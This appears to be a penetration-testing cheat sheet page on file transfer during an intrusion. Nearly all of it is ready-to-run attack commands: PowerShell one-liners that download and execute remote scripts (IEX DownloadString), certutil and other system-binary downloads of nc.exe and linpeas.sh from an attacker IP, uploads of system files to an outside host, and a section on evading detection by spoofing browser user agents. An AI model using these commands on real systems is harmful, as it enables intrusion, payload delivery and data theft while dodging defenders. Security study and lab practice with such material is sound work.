Transferring Files

Simple Servers

python3 -m http.server 8000

Transfer Files

wget http://10.10.10.10:8000/linpeas.sh -O linpeas.sh

With SMB server.

copy file.txt \\10.10.10.10\share
copy \\10.10.10.10\share\nc.exe

net use n: \\10.10.10.10\share /user:qu35t qu35t
copy file.txt n:
copy n:\nc.exe

File download.

(New-Object Net.WebClient).DownloadFile('https://docs.qu35t.pw/file.ps1','C:\Users\Public\Downloads\file.ps1')

(New-Object Net.WebClient).DownloadFileAsync('https://docs.qu35t.pw/file.ps1','C:\Users\Public\Downloads\file.ps1')

IEX (New-Object Net.WebClient).DownloadString('https://docs.qu35t.pw/file.ps1')

(New-Object Net.WebClient).DownloadString('https://docs.qu35t.pw/file.ps1') | IEX

Invoke-WebRequest https://docs.qu35t.pw/file.ps1 -OutFile file.ps1

Invoke-WebRequest https://docs.qu35t.pw/file.ps1 -UseBasicParsing | IEX

Invoke-RestMethod https://docs.qu35t.pw/file.ps1 -OutFile file.ps1

certutil -urlcache -split -f http://10.10.10.10/nc.exede

certutil -verifyctl -split -f http://10.10.10.10/nc.exe

GfxDownloadWrapper.exe "http://10.10.10.10/nc.exe" "C:\Temp\nc.exe"

File upload.

Invoke-FileUpload -Uri http://10.10.10.10:8000/upload -File C:\Windows\System32\drivers\etc\hosts

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.10.10:8000/ -Method POST -Body $b64

Linux

Encode and decode from base64.

base64 linpeas.sh -w 0;echo

echo 'Base64 data'|base64 -d > linpeas.sh

Windows

Encode and decode from base64.

[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("BASE64 DATA"))

Check MD5 signature.

Get-FileHash C:\Users\Public\id_rsa -Algorithm md5 | select Hash

Mounting a linux folder.

rdesktop 10.10.10.10 -d QU35T.pw -u administrator -p 'Password0@' -r disk:linux='/home/qu35t/files'

xfreerdp /v:10.10.10.10 /d:QU35T.pw /u:administrator /p:'Password0@' /drive:linux,/home/qu35t/files

Validating File Transfers

file linpeas.sh

Evading Detection

Listing out user agents.

[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

With Chrome user agent.

Invoke-WebRequest http://10.10.10.10/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe"

References

PreviousCrackMapExec NextWindows Remote Management

Last updated 2 years ago